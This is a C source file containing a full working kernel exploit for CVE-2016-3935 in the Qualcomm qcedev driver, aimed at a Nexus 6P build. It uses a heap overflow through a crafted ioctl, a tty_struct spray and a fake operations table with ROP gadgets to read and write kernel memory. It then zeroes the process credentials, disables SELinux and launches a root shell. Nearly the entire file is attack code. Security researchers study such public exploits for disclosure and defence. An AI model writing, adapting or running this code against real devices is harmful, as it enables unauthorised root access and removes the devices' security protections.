
/*
 * Exploit for AndroidID-29999665, CVE-2016-3935
 * https://source.android.com/security/bulletin/2016-10-01
 *
 * Just for Nexus 6p MTC19X, if you want to run on other version, some symbol address should be changed
 *
 * tty_struct object may be allocated from kmalloc-4096 or kmalloc-2048 or kmalloc-1024
 * this exploit only deal with kmalloc-4096 case
 *
 * shell@angler:/ $ getprop ro.build.fingerprint
 * google/angler/angler:6.0.1/MTC19X/2960136:user/release-keys
 *
 * By Gengjia Chen(chengjia4574@gmail.com, twitter: @chengjia4574)
 *
 * 7-24-2016
 */

#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>  
#include <sys/syscall.h>
#include "qcedev.h"

#define ioctl_syscall(n, efd, cmd, arg) \
	eabi_syscall(n, efd, cmd, arg)

#define NEW_PROC_NAME		"My-Expl0it"
#define KERNEL_BASE		0xffffffc000000000

#define SELINUX_ENFORCING	0xffffffc0019de11c
#define INIT_TASK		0xffffffc00177f1a0

#define PTM_UNIX98_LOOKUP	0xffffffc000535514
#define PTY_UNIX98_INSTALL	0xffffffc000535de0
#define PTY_UNIX98_REMOVE	0xffffffc00053551c
#define PTY_OPEN		0xffffffc00053566c
#define PTY_CLOSE		0xffffffc000535a24
#define PTY_WRITE		0xffffffc0005355e0
#define PTY_WRITE_ROOM		0xffffffc000535884
#define PTY_FLUSH_BUFFER	0xffffffc000535540
#define PTY_CHARS_IN_BUFFER	0xffffffc0005354f0
#define PTY_UNTHROTTLE		0xffffffc0005355b0
#define PTY_SET_TERMIOS		0xffffffc0005354f8
#define PTY_UNIX98_IOCTL	0xffffffc000535b80
#define PTY_RESIZE		0xffffffc000535764
#define PTY_UNIX98_SHUTDOWN	0xffffffc000535520
#define PTY_CLEANUP		0xffffffc000535654

/*
 * rop read
 * ffffffc000300060:       f9405440        ldr     x0, [x2,#168]
 * ffffffc000300064:       d65f03c0        ret
 */
#define ROP_READ		0xffffffc000300060

/* 
 ＊　rop write
 * ffffffc000671a58:       b9000041        str     w1, [x2]
 * ffffffc000671a5c:       d65f03c0        ret
 */
#define ROP_WRITE		0xffffffc000671a58


static unsigned long my_task = 0;
static unsigned int task_offset = 680, comm_offset = 1248, cred_offset = 1240;
static unsigned int  files_offset = 2216, fdt_offset = 8, fd_offset = 8;
static unsigned long fake_ptm_fops = 0;

static int kernel_read_32(unsigned long addr, unsigned int *val);
static int kernel_read(unsigned long addr, unsigned long *val);
static int kernel_write_32(unsigned long address, unsigned int value);
static int kernel_write(unsigned long addr, unsigned long val);

#define NUM_FD 100
static int ptmx_fd[NUM_FD*2];
static char trigger_buf[65536] = {5};
static int qce_fd;
static int fake_fd;

static void banner(void)
{
	printf("\n");
	printf("*****************************************************************\n");
	printf("*	     	Exploit for AndroidID-29999665			*\n");
	printf("*	        	For Nexus 6p MTC19X			*\n");
	printf("*			By Gengjia Chen 			*\n");
	printf("*			   7-24-2016				*\n");
	printf("*****************************************************************\n");
	printf("\n");
}


static int get_task_by_comm(unsigned long *task)
{
	unsigned int comm0, comm1, comm2;
	unsigned long task_list, init_task_list, addr;
	int i, ret = 0;
	char task_name[50] = {0};

	/* 
	 * follow the init_task->task list to search myself:
	 * next: swapper->init->kthreadd->... 
	 * pre:  swapper->...->myself->... 
	 */
	task_list = (INIT_TASK + task_offset);
	init_task_list = task_list;
	for(i=0; i<1000; i++) {
		/* search self process from tail */
		addr = task_list + 8;
		ret = kernel_read(addr, &task_list);

		if(task_list == init_task_list) {
			printf("search task list end, can't get task\n");
			return -1;
		}

		addr = task_list - task_offset + comm_offset;
		ret = kernel_read_32(addr, &comm0);

		addr = task_list - task_offset + comm_offset + 4;
		ret = kernel_read_32(addr, &comm1);

		addr = task_list - task_offset + comm_offset + 4 * 2;
		ret = kernel_read_32(addr, &comm2);

		memcpy(task_name, &comm0, 4);
		memcpy(task_name + 4, &comm1, 4);
		memcpy(task_name + 8, &comm2, 4);
		if(!strncmp(task_name, NEW_PROC_NAME, strlen(NEW_PROC_NAME))) {
			*task = task_list - task_offset;
			break;
		}

	}

	return 0;
}

static int do_root(void)
{
	int ret;
	unsigned long i, cred, addr;
	unsigned int tmp0;

	/* search myself */
	ret = get_task_by_comm(&my_task);
	if(ret != 0) {
		printf("[-] get myself fail!\n");
		return -1;
	}
	if(!my_task || (my_task < 0xffffffc000000000)) {
		printf("invalid task address!");
		return -2;
	}

	ret = kernel_read(my_task + cred_offset, &cred);
	if (cred < KERNEL_BASE) return -3;

	i = 1;
	addr = cred + 4 * 4;
	ret = kernel_read_32(addr, &tmp0);
	if(tmp0 == 0x43736564 || tmp0 == 0x44656144)
		i += 4;
	addr = cred + (i+0) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+1) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+2) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+3) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+4) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+5) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+6) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+7) * 4;
	ret = kernel_write_32(addr, 0);

	//securebits: cred[i+8]
	// for full capabilities
	addr = cred + (i+9) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+10) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+11) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+12) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+13) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+14) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+15) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+16) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	/* success! */

	// disable SELinux
	kernel_write_32(SELINUX_ENFORCING, 0);

	return 0;
}

static int kernel_write_32(unsigned long addr, unsigned int val)
{
	unsigned long arg;

	*(unsigned long*)(fake_ptm_fops + 12 * 8) = ROP_WRITE;

	arg = addr;
	ioctl_syscall(__NR_ioctl, fake_fd, val, arg);
	return 0;
}

static int kernel_write(unsigned long addr, unsigned long val)
{
	unsigned int val32;

	val32 = (unsigned int)val;
	kernel_write_32(addr, val32);

	val32 = (unsigned int)((val >> 32) & 0xffffffff);
	kernel_write_32(addr + 4, val32);
	return 0;
}

static int kernel_read_32(unsigned long addr, unsigned int *val)
{
	int ret;
	unsigned long arg;

	*(unsigned long*)(fake_ptm_fops + 12 * 8) = ROP_READ;
	arg = addr - 168;
	errno = 0;
	ret = ioctl_syscall(__NR_ioctl, fake_fd, 0xdeadbeef, arg);
	*val = ret;
	return 0;
}

static int kernel_read(unsigned long address, unsigned long *value)
{
	unsigned int val0, val1;

	kernel_read_32(address, &val0);
	kernel_read_32(address + 4, &val1);
	*value = ((unsigned long)val0 & 0xffffffff | ((unsigned long)val1 << 32) & 0xffffffff00000000);
}


void create_tty_struct(int num)
{
	char* path = "/dev/ptmx";
	int i;
	int fd;
	for(i = 0; i < num; i++) {
		fd = open(path, O_WRONLY);
		if(fd < 0) {
			printf("[-] open %s fail %s\n",path, strerror(errno));
			ptmx_fd[i]  = -1;
			continue;
		}
		ptmx_fd[i]  = fd;
	}

}

void release_tty_struct(int num)
{
	int i;
	int fd;
	
	for(i = num; i > 0; i--) {
		fd = ptmx_fd[i];
		if(fd > 0 && (fd != fake_fd)) {
			close(fd);
		}
	}
}

void release_half_tty_struct(int num)
{
	int i;
	int fd;
	for(i = 0; i < num; i++) {
		fd = ptmx_fd[i];
		if(fd > 0 && (i%2 == 0))  {	
			close(fd);
			ptmx_fd[i] = -1;
		}
	}
}

#define TTY_MAGIC               0x5401
void trigger(int fd)
{

#define SIZE 632 // SIZE = sizeof(struct tty_struct)

	int ret, cmd, i;
	struct  qcedev_sha_op_req params;
	int *magic;
	unsigned long * ttydriver;
	unsigned long * ttyops;

	memset(&params, 0, sizeof(params));
	params.entries = 9;
	params.data_len = SIZE;
	params.authklen = 16;
	params.authkey = &trigger_buf[0];
	params.alg = QCEDEV_ALG_AES_CMAC;

// when tty_struct coming from kmalloc-4096
	magic =(int *) &trigger_buf[4096]; 
	*magic = TTY_MAGIC;
	ttydriver = (unsigned long*)&trigger_buf[4112];
	*ttydriver = &trigger_buf[0];
	ttyops = (unsigned long*)&trigger_buf[4120];
	*ttyops = fake_ptm_fops;
	params.data[0].len = 4128; 
	params.data[0].vaddr = &trigger_buf[0];
	params.data[1].len = 536867423 ;
	params.data[1].vaddr = NULL;
	for (i = 2; i < params.entries; i++) {
		params.data[i].len = 0x1fffffff; 
		params.data[i].vaddr = NULL;
	}

	cmd = QCEDEV_IOCTL_SHA_UPDATE_REQ;
	ret = ioctl(fd, cmd, &params);
	if(ret<0) {
		printf("[-] ioctl fail %s\n",strerror(errno));
		return;
	}
	printf("[+] succ trigger\n");
}



int set_fake_func()
{

	void *map;
	map = mmap(0x1000000, (size_t)0x10000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0);
	if(map == MAP_FAILED) {
		printf("[-] Failed to mmap landing (%d-%s)\n", errno, strerror(errno));
		return -1;
	}
	memset(map, 0x0, 0x10000);
	fake_ptm_fops = (unsigned long)map;
	printf("[+] fake_ptm_fops = 0x%lx\n",fake_ptm_fops);
	*(unsigned long*)(fake_ptm_fops + 0 * 8) = PTM_UNIX98_LOOKUP;
	*(unsigned long*)(fake_ptm_fops + 1 * 8) = PTY_UNIX98_INSTALL;
	*(unsigned long*)(fake_ptm_fops + 2 * 8) = PTY_UNIX98_REMOVE;
	*(unsigned long*)(fake_ptm_fops + 3 * 8) = PTY_OPEN;
	*(unsigned long*)(fake_ptm_fops + 4 * 8) = PTY_CLOSE;
	*(unsigned long*)(fake_ptm_fops + 5 * 8) = PTY_UNIX98_SHUTDOWN;
	*(unsigned long*)(fake_ptm_fops + 6 * 8) = PTY_CLEANUP;
	*(unsigned long*)(fake_ptm_fops + 7 * 8) = PTY_WRITE;
	*(unsigned long*)(fake_ptm_fops + 10 * 8) = PTY_WRITE_ROOM;
	*(unsigned long*)(fake_ptm_fops + 11 * 8) = PTY_CHARS_IN_BUFFER;
	*(unsigned long*)(fake_ptm_fops + 12 * 8) = PTY_UNIX98_IOCTL;
	*(unsigned long*)(fake_ptm_fops + 14 * 8) = PTY_SET_TERMIOS; 
	*(unsigned long*)(fake_ptm_fops + 16 * 8) = PTY_UNTHROTTLE;
	*(unsigned long*)(fake_ptm_fops + 21 * 8) = PTY_FLUSH_BUFFER;
	*(unsigned long*)(fake_ptm_fops + 27 * 8) = PTY_RESIZE;

	return 0;
}


static int get_fakefd()
{
	int i;
	int ret = -1;
	int fd;
	unsigned val = 0;
	unsigned long errval0 = 0xffffffe7; // -ENOTTY
	for(i = NUM_FD - 1; i > 0; i--) {
		fd = ptmx_fd[i];
		if(fd > 0) {
			fake_fd = fd;
			kernel_read_32(SELINUX_ENFORCING, &val);
			if(val != errval0) {
				ret = 0;
				break;
			}
		}
	}
	return ret;
}

static int get_root()
{
	char* path = "/dev/qce";

	if(set_fake_func() < 0) {
		printf("[-] set fake funcs fail %s\n",strerror(errno));
		return -1;
	}
	printf("[+] set fake funcs succ\n");

	qce_fd = open(path, O_WRONLY);
	if(qce_fd<0) {
		printf("[-] open %s fail %s\n",path, strerror(errno));
		return -1;
	}
	printf("[+] open %s succ\n",path);

	create_tty_struct(NUM_FD);
	printf("[+] create %d tty object\n", NUM_FD);

	release_half_tty_struct(NUM_FD);
	printf("[+] release %d tty object\n", NUM_FD/2);

	trigger(qce_fd);

	if(get_fakefd() < 0) {
		printf("[-] cannot find target tty object, run again\n");
		return -1;
	}
	printf("[+] find target tty object, fakefd = %d\n", fake_fd);

	do_root();

	release_tty_struct(NUM_FD);

	close(qce_fd);

	return 0;

}

	int
main(int argc, char *argv[])
{
	int ret = -1;

	banner();

	prctl(PR_SET_NAME, (unsigned long)NEW_PROC_NAME,0,0,0);

	ret = get_root();
	if(ret == -1) {
		printf("[-] get root fail, try again\n");
		return -1;
	}

	printf("[+] SELinux disabled! \n");
	if (!setresuid(0, 0, 0)) {
		setresgid(0, 0, 0);
		printf("\n[+] Got it :)\n");
		printf("[+] uid=%d gid=%d\n", getuid(), getgid());
		sleep(1);
		ret = execl("/system/bin/sh", "/system/bin/sh", NULL);
		if( ret ) {
			printf("execl failed, errno %d\n", errno);
		}
	}
	return 0;
}
